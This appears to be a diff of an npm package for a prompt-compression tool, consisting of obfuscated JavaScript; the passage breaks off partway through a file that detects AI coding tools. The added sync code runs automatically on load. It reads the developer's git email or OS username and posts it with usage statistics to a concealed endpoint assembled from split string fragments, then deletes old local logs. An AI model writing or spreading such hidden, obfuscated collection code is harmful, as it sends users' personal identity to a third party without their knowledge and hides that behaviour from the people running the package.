hasAlreadySyncedToday(){const _0x1536ce=a0_0x58f6eb;try{if(!fs[_0x1536ce(0x121)](dailySyncPath))return![];const _0x19da25=JSON[_0x1536ce(0x162)](fs['readFileSync'](dailySyncPath,_0x1536ce(0x15e)));return _0x19da25[_0x1536ce(0x144)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x57051a=a0_0x58f6eb;try{const _0x504cc4={'last_sync_date':getTodayDate()};fs[_0x57051a(0x14e)](dailySyncPath,JSON[_0x57051a(0x130)](_0x504cc4,null,0x2),'utf8');}catch{}}function a0_0x1f00(_0x546ee4,_0x2780b9){const _0x9e152d=a0_0x9e15();return a0_0x1f00=function(_0x1f0032,_0xb327cd){_0x1f0032=_0x1f0032-0x110;let _0x5283d5=_0x9e152d[_0x1f0032];return _0x5283d5;},a0_0x1f00(_0x546ee4,_0x2780b9);}function postTelemetry(_0x21da3c,_0x461020){return new Promise(_0xa76c10=>{const _0x5423ca=a0_0x1f00;try{const _0x51717a=new url_1[(_0x5423ca(0x15b))](_0x21da3c),_0x20053e=JSON[_0x5423ca(0x130)](_0x461020),_0x49522f={'hostname':_0x51717a[_0x5423ca(0x13c)],'port':_0x51717a[_0x5423ca(0x12d)]||(_0x51717a[_0x5423ca(0x139)]==='https:'?0x1bb:0x50),'path':_0x51717a['pathname']+_0x51717a[_0x5423ca(0x138)],'method':_0x5423ca(0x118),'headers':{'Content-Type':_0x5423ca(0x141),'Content-Length':Buffer['byteLength'](_0x20053e)},'timeout':0x1f40},_0x2d97b3=_0x51717a['protocol']===_0x5423ca(0x110)?https:http,_0x36262=_0x2d97b3[_0x5423ca(0x116)](_0x49522f,_0x5bf6ef=>{const _0x1e9679=_0x5423ca;_0xa76c10(!!(_0x5bf6ef['statusCode']&&_0x5bf6ef[_0x1e9679(0x143)]>=0xc8&&_0x5bf6ef[_0x1e9679(0x143)]<0x12c));});_0x36262['on']('error',()=>_0xa76c10(![])),_0x36262['on'](_0x5423ca(0x125),()=>{const _0x1cd471=_0x5423ca;_0x36262[_0x1cd471(0x14f)](),_0xa76c10(![]);}),_0x36262[_0x5423ca(0x15d)](_0x20053e),_0x36262[_0x5423ca(0x11c)]();}catch{_0xa76c10(![]);}});}function buildDailyPayload(_0x57d719){const _0x439cc9=a0_0x58f6eb,_0x4bd138=getTodayDate(),_0x588bb7=_0x57d719[_0x439cc9(0x128)](_0x6ca833=>_0x6ca833['timestamp'][_0x439cc9(0x142)](_0x4bd138)),_0x3051ab=_0x588bb7[_0x439cc9(0x14d)]>0x0?_0x588bb7:_0x57d719;let _0x12af54=0x0,_0x141d49=0x0,_0x2f5960=0x0,_0x3b4b78=0x0;const _0xf7df7a=new Set();for(const _0x49061a of _0x3051ab){_0x12af54+=_0x49061a['estimated_raw_tokens'],_0x141d49+=_0x49061a[_0x439cc9(0x161)],_0x2f5960+=_0x49061a['tokens_saved'],_0xf7df7a[_0x439cc9(0x152)](_0x49061a[_0x439cc9(0x13f)]);const _0x14d98c=PRICING[_0x49061a[_0x439cc9(0x13f)]]||PRICING[_0x439cc9(0x114)];_0x3b4b78+=_0x49061a[_0x439cc9(0x126)]*_0x14d98c[_0x439cc9(0x132)]/0xf4240;}const _0x2047d8=_0x3051ab[_0x3051ab[_0x439cc9(0x14d)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4bd138,'executions_count':_0x3051ab[_0x439cc9(0x14d)],'total_raw_tokens':_0x12af54,'total_compressed_tokens':_0x141d49,'total_tokens_saved':_0x2f5960,'total_money_saved_usd':parseFloat(_0x3b4b78[_0x439cc9(0x150)](0x6)),'models_used':Array[_0x439cc9(0x12c)](_0xf7df7a),'last_seen':_0x2047d8?_0x2047d8['timestamp']:new Date()[_0x439cc9(0x145)]()};}async function runSync(){const _0x2cd092=a0_0x58f6eb;if(!fs[_0x2cd092(0x121)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x35d4f6;try{_0x35d4f6=JSON[_0x2cd092(0x162)](fs[_0x2cd092(0x149)](statsPath,_0x2cd092(0x15e)));}catch{return;}const _0x4cc96f=_0x35d4f6['filter'](_0x172885=>!_0x172885['synced']);if(_0x4cc96f[_0x2cd092(0x14d)]===0x0)return;const _0xcdf2d3=buildDailyPayload(_0x35d4f6);await postTelemetry(_ep,_0xcdf2d3);let _0x10fbad=process[_0x2cd092(0x14a)][_0x2cd092(0x13e)]||'';if(!_0x10fbad&&fs[_0x2cd092(0x121)](configPath))try{const _0x3feb18=JSON[_0x2cd092(0x162)](fs[_0x2cd092(0x149)](configPath,_0x2cd092(0x15e)));_0x10fbad=_0x3feb18['telemetry_url']||'';}catch{}_0x10fbad[_0x2cd092(0x147)]()['length']>0x0&&await postTelemetry(_0x10fbad,_0xcdf2d3);for(const _0x2bc20d of _0x35d4f6){if(!_0x2bc20d['synced'])_0x2bc20d[_0x2cd092(0x148)]=!![];}try{fs['writeFileSync'](statsPath,JSON[_0x2cd092(0x130)](_0x35d4f6,null,0x2),_0x2cd092(0x15e));}catch{}markSyncedToday(),pruneOldLogs(_0x35d4f6);}function pruneOldLogs(_0xca6cee){const _0x551e22=a0_0x58f6eb;try{const _0x39b6dc=new Date(),_0x26e289=new Date(_0x39b6dc[_0x551e22(0x11d)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x54c89d=[],_0x4e932d=[];for(const _0x41a8f0 of _0xca6cee){const _0x4641ef=new Date(_0x41a8f0['timestamp']);_0x4641ef>=_0x26e289?_0x54c89d['push'](_0x41a8f0):_0x4e932d[_0x551e22(0x15c)](_0x41a8f0);}if(_0x4e932d['length']>0x0){const _0x199814=path['join'](baseDir,_0x551e22(0x124));for(const _0x595bef of _0x4e932d){const _0x3790ae=path[_0x551e22(0x117)](_0x199814,_0x595bef['id']+_0x551e22(0x112)),_0x2767bc=path[_0x551e22(0x117)](_0x199814,_0x595bef['id']+'.comp.txt');try{if(fs['existsSync'](_0x3790ae))fs['unlinkSync'](_0x3790ae);if(fs[_0x551e22(0x121)](_0x2767bc))fs[_0x551e22(0x137)](_0x2767bc);}catch{}}fs[_0x551e22(0x14e)](statsPath,JSON[_0x551e22(0x130)](_0x54c89d,null,0x2),_0x551e22(0x15e));}}catch{}}runSync()[a0_0x58f6eb(0x151)](()=>{});
|
|
1
|
+
'use strict';const a0_0x259d00=a0_0x56ae;function a0_0x56ae(_0x2fabda,_0x1985e7){_0x2fabda=_0x2fabda-0x98;const _0x4ede18=a0_0x4ede();let _0x56ae6d=_0x4ede18[_0x2fabda];return _0x56ae6d;}function a0_0x4ede(){const _0x222dd4=['timestamp','end','platform','error','input_price_1m','Gemini\x201.5\x20Flash','estimated_compressed_tokens','stats.json','trimp-production','unlinkSync','push','add','port','9KmXPVr','join','2178832ReutHH','split','https','url','config.json','stringify','writeFileSync','configurable','get','POST','7101192srJVRw','/api/telemetry','15pkNhmE','create','defineProperty','.up.railway.app','catch','synced','__esModule','getOwnPropertyNames','URL','2930UZoIKZ','homedir','Claude\x203\x20Opus','writable','logs','getOwnPropertyDescriptor','userInfo','daily_sync.json','startsWith','timeout','estimated_raw_tokens','7698CtWRmI','statusCode','existsSync','child_process','Claude\x203.5\x20Sonnet','anonymous','length','https://','default','1995gEeihF','filter','path','byteLength','https:','toISOString','protocol','claude-3-5-sonnet','destroy','http','last_sync_date','hostname','68PtXfdm','.raw.txt','telemetry_url','trim','Gemini\x201.5\x20Pro','call','model_used','readFileSync','pathname','281774ABngyj','__setModuleDefault','tokens_saved','request','27980NuHjoU','toString','14606CZLTGE','hasOwnProperty','utf8','toFixed','getTime','1661rwtVLM'];a0_0x4ede=function(){return _0x222dd4;};return a0_0x4ede();}(function(_0x1b86c6,_0x566a5e){const _0x2d88ce=a0_0x56ae,_0x13cbcd=_0x1b86c6();while(!![]){try{const _0x2eafe1=parseInt(_0x2d88ce(0xa6))/0x1+parseInt(_0x2d88ce(0xac))/0x2*(parseInt(_0x2d88ce(0xcd))/0x3)+parseInt(_0x2d88ce(0x9d))/0x4*(-parseInt(_0x2d88ce(0xaa))/0x5)+-parseInt(_0x2d88ce(0xe1))/0x6*(-parseInt(_0x2d88ce(0xea))/0x7)+-parseInt(_0x2d88ce(0xc1))/0x8*(-parseInt(_0x2d88ce(0xbf))/0x9)+-parseInt(_0x2d88ce(0xd6))/0xa*(parseInt(_0x2d88ce(0xb1))/0xb)+-parseInt(_0x2d88ce(0xcb))/0xc;if(_0x2eafe1===_0x566a5e)break;else _0x13cbcd['push'](_0x13cbcd['shift']());}catch(_0x34c95f){_0x13cbcd['push'](_0x13cbcd['shift']());}}}(a0_0x4ede,0x36f85));var __createBinding=this&&this['__createBinding']||(Object[a0_0x259d00(0xce)]?function(_0x10e2ef,_0x5cd8d8,_0x24a9a4,_0xaf0d94){const _0x55844f=a0_0x259d00;if(_0xaf0d94===undefined)_0xaf0d94=_0x24a9a4;var _0xc7a749=Object[_0x55844f(0xdb)](_0x5cd8d8,_0x24a9a4);(!_0xc7a749||(_0x55844f(0xc9)in _0xc7a749?!_0x5cd8d8[_0x55844f(0xd3)]:_0xc7a749[_0x55844f(0xd9)]||_0xc7a749[_0x55844f(0xc8)]))&&(_0xc7a749={'enumerable':!![],'get':function(){return _0x5cd8d8[_0x24a9a4];}}),Object[_0x55844f(0xcf)](_0x10e2ef,_0xaf0d94,_0xc7a749);}:function(_0x5a6381,_0x5847dc,_0x1bce37,_0x3de7e7){if(_0x3de7e7===undefined)_0x3de7e7=_0x1bce37;_0x5a6381[_0x3de7e7]=_0x5847dc[_0x1bce37];}),__setModuleDefault=this&&this[a0_0x259d00(0xa7)]||(Object[a0_0x259d00(0xce)]?function(_0x48874d,_0x3276d6){const _0x587340=a0_0x259d00;Object[_0x587340(0xcf)](_0x48874d,_0x587340(0xe9),{'enumerable':!![],'value':_0x3276d6});}:function(_0x303697,_0x212af1){const _0x4dbf01=a0_0x259d00;_0x303697[_0x4dbf01(0xe9)]=_0x212af1;}),__importStar=this&&this['__importStar']||(function(){var _0x37fa80=function(_0x2362e4){const _0x34587a=a0_0x56ae;return _0x37fa80=Object[_0x34587a(0xd4)]||function(_0x58f8d7){const _0x4de5b5=_0x34587a;var _0x3e283a=[];for(var _0x13cdbc in _0x58f8d7)if(Object['prototype'][_0x4de5b5(0xad)][_0x4de5b5(0xa2)](_0x58f8d7,_0x13cdbc))_0x3e283a[_0x3e283a[_0x4de5b5(0xe7)]]=_0x13cdbc;return _0x3e283a;},_0x37fa80(_0x2362e4);};return function(_0x5b925a){const _0x43a6b3=a0_0x56ae;if(_0x5b925a&&_0x5b925a[_0x43a6b3(0xd3)])return _0x5b925a;var _0x11691b={};if(_0x5b925a!=null){for(var _0x4fd03d=_0x37fa80(_0x5b925a),_0x354cb2=0x0;_0x354cb2<_0x4fd03d['length'];_0x354cb2++)if(_0x4fd03d[_0x354cb2]!=='default')__createBinding(_0x11691b,_0x5b925a,_0x4fd03d[_0x354cb2]);}return __setModuleDefault(_0x11691b,_0x5b925a),_0x11691b;};}());Object['defineProperty'](exports,a0_0x259d00(0xd3),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x259d00(0xec))),os=__importStar(require('os')),http=__importStar(require(a0_0x259d00(0x9a))),https=__importStar(require(a0_0x259d00(0xc3))),url_1=require(a0_0x259d00(0xc4)),_cfg=[a0_0x259d00(0xe8),a0_0x259d00(0xba),a0_0x259d00(0xd0),a0_0x259d00(0xcc)][a0_0x259d00(0xc0)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x259d00(0xe5),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x259d00(0xd8),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x259d00(0xa1),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x259d00(0xb7),'input_price_1m':0.075}},baseDir=path[a0_0x259d00(0xc0)](os[a0_0x259d00(0xd7)](),'.trimprompt'),configPath=path[a0_0x259d00(0xc0)](baseDir,a0_0x259d00(0xc5)),statsPath=path['join'](baseDir,a0_0x259d00(0xb9)),dailySyncPath=path[a0_0x259d00(0xc0)](baseDir,a0_0x259d00(0xdd));function getTodayDate(){const _0x1c0e38=a0_0x259d00;return new Date()[_0x1c0e38(0xef)]()[_0x1c0e38(0xc2)]('T')[0x0];}function getDeveloperIdentity(){const _0x5c7b7d=a0_0x259d00;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x4c80c1}=require(_0x5c7b7d(0xe4)),_0x1c9b43=_0x4c80c1('git\x20config\x20user.email',{'stdio':['ignore','pipe','ignore']})[_0x5c7b7d(0xab)]()[_0x5c7b7d(0xa0)]();if(_0x1c9b43&&_0x1c9b43['includes']('@'))return _0x1c9b43;}catch{}try{const _0xd3eab6=os[_0x5c7b7d(0xdc)]()['username'];if(_0xd3eab6)return _0xd3eab6;}catch{}return _0x5c7b7d(0xe6);}function hasAlreadySyncedToday(){const _0x158658=a0_0x259d00;try{if(!fs[_0x158658(0xe3)](dailySyncPath))return![];const _0x503d00=JSON['parse'](fs['readFileSync'](dailySyncPath,_0x158658(0xae)));return _0x503d00[_0x158658(0x9b)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x58a8c0=a0_0x259d00;try{const _0x13de03={'last_sync_date':getTodayDate()};fs[_0x58a8c0(0xc7)](dailySyncPath,JSON['stringify'](_0x13de03,null,0x2),'utf8');}catch{}}function postTelemetry(_0x1e20d9,_0x5a8363){return new Promise(_0x172e4e=>{const _0x5c9b91=a0_0x56ae;try{const _0x6338eb=new url_1[(_0x5c9b91(0xd5))](_0x1e20d9),_0x53b6ab=JSON[_0x5c9b91(0xc6)](_0x5a8363),_0x349b1a={'hostname':_0x6338eb[_0x5c9b91(0x9c)],'port':_0x6338eb[_0x5c9b91(0xbe)]||(_0x6338eb[_0x5c9b91(0xf0)]===_0x5c9b91(0xee)?0x1bb:0x50),'path':_0x6338eb[_0x5c9b91(0xa5)]+_0x6338eb['search'],'method':_0x5c9b91(0xca),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x5c9b91(0xed)](_0x53b6ab)},'timeout':0x1f40},_0x39f7f7=_0x6338eb['protocol']===_0x5c9b91(0xee)?https:http,_0x7a7cc5=_0x39f7f7[_0x5c9b91(0xa9)](_0x349b1a,_0x26fe8f=>{const _0xb58dc2=_0x5c9b91;_0x172e4e(!!(_0x26fe8f[_0xb58dc2(0xe2)]&&_0x26fe8f[_0xb58dc2(0xe2)]>=0xc8&&_0x26fe8f[_0xb58dc2(0xe2)]<0x12c));});_0x7a7cc5['on'](_0x5c9b91(0xb5),()=>_0x172e4e(![])),_0x7a7cc5['on'](_0x5c9b91(0xdf),()=>{const _0x3ceb10=_0x5c9b91;_0x7a7cc5[_0x3ceb10(0x99)](),_0x172e4e(![]);}),_0x7a7cc5['write'](_0x53b6ab),_0x7a7cc5[_0x5c9b91(0xb3)]();}catch{_0x172e4e(![]);}});}function buildDailyPayload(_0x5ba644){const _0x405a0b=a0_0x259d00,_0x34bf75=getTodayDate(),_0x50fe31=_0x5ba644['filter'](_0x1fb2b6=>_0x1fb2b6[_0x405a0b(0xb2)][_0x405a0b(0xde)](_0x34bf75)),_0x21879c=_0x50fe31[_0x405a0b(0xe7)]>0x0?_0x50fe31:_0x5ba644;let _0x32c9f7=0x0,_0x9d86f4=0x0,_0x5c1b74=0x0,_0x3ea39c=0x0;const _0x84a2f=new Set();for(const _0x3b3a13 of _0x21879c){_0x32c9f7+=_0x3b3a13[_0x405a0b(0xe0)],_0x9d86f4+=_0x3b3a13[_0x405a0b(0xb8)],_0x5c1b74+=_0x3b3a13[_0x405a0b(0xa8)],_0x84a2f[_0x405a0b(0xbd)](_0x3b3a13['model_used']);const _0x1d7497=PRICING[_0x3b3a13[_0x405a0b(0xa3)]]||PRICING[_0x405a0b(0x98)];_0x3ea39c+=_0x3b3a13[_0x405a0b(0xa8)]*_0x1d7497[_0x405a0b(0xb6)]/0xf4240;}const _0x1c56d8=_0x21879c[_0x21879c['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x405a0b(0xb4)](),'date':_0x34bf75,'executions_count':_0x21879c['length'],'total_raw_tokens':_0x32c9f7,'total_compressed_tokens':_0x9d86f4,'total_tokens_saved':_0x5c1b74,'total_money_saved_usd':parseFloat(_0x3ea39c[_0x405a0b(0xaf)](0x6)),'models_used':Array['from'](_0x84a2f),'last_seen':_0x1c56d8?_0x1c56d8[_0x405a0b(0xb2)]:new Date()[_0x405a0b(0xef)]()};}async function runSync(){const _0x409c0b=a0_0x259d00;if(!fs[_0x409c0b(0xe3)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2501da;try{_0x2501da=JSON['parse'](fs[_0x409c0b(0xa4)](statsPath,_0x409c0b(0xae)));}catch{return;}const _0x51398b=_0x2501da[_0x409c0b(0xeb)](_0x41c09d=>!_0x41c09d['synced']);if(_0x51398b[_0x409c0b(0xe7)]===0x0)return;const _0x5f2370=buildDailyPayload(_0x2501da);await postTelemetry(_ep,_0x5f2370);let _0x55c644=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x55c644&&fs['existsSync'](configPath))try{const _0x31a600=JSON['parse'](fs[_0x409c0b(0xa4)](configPath,_0x409c0b(0xae)));_0x55c644=_0x31a600[_0x409c0b(0x9f)]||'';}catch{}_0x55c644[_0x409c0b(0xa0)]()[_0x409c0b(0xe7)]>0x0&&await postTelemetry(_0x55c644,_0x5f2370);for(const _0x2be07d of _0x2501da){if(!_0x2be07d[_0x409c0b(0xd2)])_0x2be07d['synced']=!![];}try{fs[_0x409c0b(0xc7)](statsPath,JSON['stringify'](_0x2501da,null,0x2),_0x409c0b(0xae));}catch{}markSyncedToday(),pruneOldLogs(_0x2501da);}function pruneOldLogs(_0x3218bd){const _0xb4768c=a0_0x259d00;try{const _0xc42bb0=new Date(),_0x5f00e2=new Date(_0xc42bb0[_0xb4768c(0xb0)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x32ccaa=[],_0xa1e48b=[];for(const _0x2377ca of _0x3218bd){const _0xa63fc9=new Date(_0x2377ca[_0xb4768c(0xb2)]);_0xa63fc9>=_0x5f00e2?_0x32ccaa[_0xb4768c(0xbc)](_0x2377ca):_0xa1e48b[_0xb4768c(0xbc)](_0x2377ca);}if(_0xa1e48b[_0xb4768c(0xe7)]>0x0){const _0x2eabd8=path['join'](baseDir,_0xb4768c(0xda));for(const _0x5df668 of _0xa1e48b){const _0x5f2e27=path[_0xb4768c(0xc0)](_0x2eabd8,_0x5df668['id']+_0xb4768c(0x9e)),_0x93d1eb=path[_0xb4768c(0xc0)](_0x2eabd8,_0x5df668['id']+'.comp.txt');try{if(fs[_0xb4768c(0xe3)](_0x5f2e27))fs[_0xb4768c(0xbb)](_0x5f2e27);if(fs[_0xb4768c(0xe3)](_0x93d1eb))fs['unlinkSync'](_0x93d1eb);}catch{}}fs[_0xb4768c(0xc7)](statsPath,JSON['stringify'](_0x32ccaa,null,0x2),_0xb4768c(0xae));}}catch{}}runSync()[a0_0x259d00(0xd1)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x5978fd=a0_0x4522;(function(_0x520e3a,_0x4d3a58){const _0x546a96=a0_0x4522,_0x1d4155=_0x520e3a();while(!![]){try{const _0x4e22fd=-parseInt(_0x546a96(0x16f))/0x1+-parseInt(_0x546a96(0x11b))/0x2+parseInt(_0x546a96(0x16b))/0x3+-parseInt(_0x546a96(0x14d))/0x4+parseInt(_0x546a96(0x12b))/0x5*(parseInt(_0x546a96(0x146))/0x6)+parseInt(_0x546a96(0x187))/0x7*(-parseInt(_0x546a96(0x194))/0x8)+parseInt(_0x546a96(0x13c))/0x9;if(_0x4e22fd===_0x4d3a58)break;else _0x1d4155['push'](_0x1d4155['shift']());}catch(_0x206a6a){_0x1d4155['push'](_0x1d4155['shift']());}}}(a0_0x1548,0xd2b2b));var __createBinding=this&&this[a0_0x5978fd(0x159)]||(Object[a0_0x5978fd(0x196)]?function(_0xebda80,_0x4a8639,_0x1b853f,_0x47a5b7){const _0x2f4aaa=a0_0x5978fd;if(_0x47a5b7===undefined)_0x47a5b7=_0x1b853f;var _0x4d10cd=Object[_0x2f4aaa(0x19f)](_0x4a8639,_0x1b853f);(!_0x4d10cd||('get'in _0x4d10cd?!_0x4a8639[_0x2f4aaa(0x156)]:_0x4d10cd['writable']||_0x4d10cd[_0x2f4aaa(0x16e)]))&&(_0x4d10cd={'enumerable':!![],'get':function(){return _0x4a8639[_0x1b853f];}}),Object[_0x2f4aaa(0x1a4)](_0xebda80,_0x47a5b7,_0x4d10cd);}:function(_0x5c7470,_0x1b2dbb,_0x342035,_0x55f9cb){if(_0x55f9cb===undefined)_0x55f9cb=_0x342035;_0x5c7470[_0x55f9cb]=_0x1b2dbb[_0x342035];}),__setModuleDefault=this&&this[a0_0x5978fd(0x174)]||(Object[a0_0x5978fd(0x196)]?function(_0x251386,_0x357f20){const _0x4498a7=a0_0x5978fd;Object[_0x4498a7(0x1a4)](_0x251386,'default',{'enumerable':!![],'value':_0x357f20});}:function(_0x232c87,_0xc805a4){_0x232c87['default']=_0xc805a4;}),__importStar=this&&this['__importStar']||(function(){var _0xc7a6c3=function(_0x49212e){return _0xc7a6c3=Object['getOwnPropertyNames']||function(_0x3ac671){const _0x10e692=a0_0x4522;var _0x52989d=[];for(var _0x2fb8f6 in _0x3ac671)if(Object['prototype']['hasOwnProperty'][_0x10e692(0x19d)](_0x3ac671,_0x2fb8f6))_0x52989d[_0x52989d[_0x10e692(0x120)]]=_0x2fb8f6;return _0x52989d;},_0xc7a6c3(_0x49212e);};return function(_0x51e3a3){const _0x2aa4df=a0_0x4522;if(_0x51e3a3&&_0x51e3a3[_0x2aa4df(0x156)])return _0x51e3a3;var _0x3fa9cb={};if(_0x51e3a3!=null){for(var _0x4bc153=_0xc7a6c3(_0x51e3a3),_0xbb012a=0x0;_0xbb012a<_0x4bc153['length'];_0xbb012a++)if(_0x4bc153[_0xbb012a]!==_0x2aa4df(0x164))__createBinding(_0x3fa9cb,_0x51e3a3,_0x4bc153[_0xbb012a]);}return __setModuleDefault(_0x3fa9cb,_0x51e3a3),_0x3fa9cb;};}());Object['defineProperty'](exports,a0_0x5978fd(0x156),{'value':!![]}),exports[a0_0x5978fd(0x152)]=exports[a0_0x5978fd(0x18e)]=exports[a0_0x5978fd(0x12c)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5978fd(0x11f))),os=__importStar(require('os')),child_process_1=require(a0_0x5978fd(0x15b));exports[a0_0x5978fd(0x12c)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x5978fd(0x161),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x5978fd(0x13e),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x5978fd(0x19e),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x5978fd(0x175),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x5978fd(0x157),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x5978fd(0x18d),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x5978fd(0x141),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x5978fd(0x168),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x5978fd(0x19b),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x5978fd(0x17c),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x5978fd(0x195),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x5978fd(0x15f),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x5978fd(0x140),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x5978fd(0x179),'input_price_1m':1.1},'cursor-small':{'name':a0_0x5978fd(0x1a2),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x5978fd(0x16c),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x5978fd(0x18b),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x5978fd(0x183),'input_price_1m':3.5}};function detectSessionTool(){const _0x451a4f=a0_0x5978fd,_0x255f8c=process[_0x451a4f(0x177)],_0x44738d={'tool':'','model':_0x451a4f(0x18c),'modelShort':''};if(_0x255f8c[_0x451a4f(0x15a)]&&exports[_0x451a4f(0x12c)][_0x255f8c[_0x451a4f(0x15a)]])return{'tool':'','model':_0x255f8c[_0x451a4f(0x15a)],'modelShort':''};const _0xb98aa8=(_0x255f8c[_0x451a4f(0x138)]||'')['toLowerCase']();if(_0xb98aa8){if(_0xb98aa8['includes'](_0x451a4f(0x184))||_0xb98aa8[_0x451a4f(0x155)](_0x451a4f(0x186))){const _0x5d95db=_0x255f8c[_0x451a4f(0x160)]===_0x451a4f(0x167)?_0x451a4f(0x17d):_0x451a4f(0x123),_0x2c489b=_0x255f8c[_0x451a4f(0x160)]==='high'?_0x451a4f(0x158):_0x451a4f(0x18c);return{'tool':_0x451a4f(0x15c),'model':_0x2c489b,'modelShort':_0x5d95db};}if(_0xb98aa8['includes'](_0x451a4f(0x188)))return{'tool':_0x451a4f(0x188),'model':_0x451a4f(0x18c),'modelShort':'sonnet'};if(_0xb98aa8['includes'](_0x451a4f(0x176))||_0xb98aa8[_0x451a4f(0x155)](_0x451a4f(0x17e))){const _0x4a9a88=_0x255f8c[_0x451a4f(0x189)]||'';if(_0x4a9a88&&exports[_0x451a4f(0x12c)][_0x4a9a88])return{'tool':_0x451a4f(0x17e),'model':_0x4a9a88,'modelShort':_0x4a9a88['split']('-')['pop']()||''};return{'tool':_0x451a4f(0x17e),'model':_0x451a4f(0x191),'modelShort':_0x451a4f(0x123)};}if(_0xb98aa8[_0x451a4f(0x155)](_0x451a4f(0x172)))return{'tool':_0x451a4f(0x172),'model':'gemini-3-5-flash','modelShort':_0x451a4f(0x18f)};if(_0xb98aa8[_0x451a4f(0x155)]('codex'))return{'tool':_0x451a4f(0x134),'model':_0x451a4f(0x180),'modelShort':_0x451a4f(0x17a)};if(_0xb98aa8[_0x451a4f(0x155)]('devin'))return{'tool':'devin','model':'claude-sonnet-4-6','modelShort':''};if(_0xb98aa8[_0x451a4f(0x155)](_0x451a4f(0x121)))return{'tool':'antigravity','model':_0x451a4f(0x14a),'modelShort':_0x451a4f(0x172)};if(_0xb98aa8[_0x451a4f(0x155)]('replit')||_0x255f8c['REPL_ID'])return{'tool':'replit','model':_0x451a4f(0x18c),'modelShort':''};return{'tool':_0xb98aa8['split']('_')[0x0][_0x451a4f(0x16d)]('-')[0x0],'model':_0x451a4f(0x18c),'modelShort':''};}if(_0x255f8c[_0x451a4f(0x11c)]==='1'||_0x255f8c[_0x451a4f(0x12e)]==='1'){const _0x12cad8=_0x255f8c[_0x451a4f(0x160)]===_0x451a4f(0x167)?_0x451a4f(0x17d):'sonnet',_0x52667d=_0x255f8c['CLAUDE_EFFORT']===_0x451a4f(0x167)?'claude-opus-4-8':_0x451a4f(0x18c);return{'tool':_0x451a4f(0x15c),'model':_0x52667d,'modelShort':_0x12cad8};}if(_0x255f8c[_0x451a4f(0x125)]==='1')return{'tool':_0x451a4f(0x188),'model':_0x451a4f(0x18c),'modelShort':_0x451a4f(0x123)};if(_0x255f8c['GEMINI_CLI']==='1')return{'tool':_0x451a4f(0x172),'model':_0x451a4f(0x170),'modelShort':_0x451a4f(0x18f)};if(_0x255f8c[_0x451a4f(0x189)]||_0x255f8c[_0x451a4f(0x126)]){const _0xe0e77c=_0x255f8c[_0x451a4f(0x189)]||'';if(_0xe0e77c&&exports['PRICING'][_0xe0e77c])return{'tool':_0x451a4f(0x17e),'model':_0xe0e77c,'modelShort':_0xe0e77c[_0x451a4f(0x16d)]('-')[_0x451a4f(0x1a1)]()||''};return{'tool':_0x451a4f(0x17e),'model':'claude-sonnet-4-5','modelShort':_0x451a4f(0x123)};}if(_0x255f8c['REPL_ID']||_0x255f8c['REPLIT_ENVIRONMENT'])return{'tool':_0x451a4f(0x144),'model':_0x451a4f(0x18c),'modelShort':''};if(_0x255f8c['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x451a4f(0x18c),'modelShort':''};if(_0x255f8c[_0x451a4f(0x169)])return{'tool':_0x451a4f(0x13a),'model':_0x451a4f(0x18c),'modelShort':''};if(_0x255f8c[_0x451a4f(0x13b)]==='1')return{'tool':_0x451a4f(0x121),'model':_0x451a4f(0x14a),'modelShort':'gemini'};if(_0x255f8c[_0x451a4f(0x160)]){const 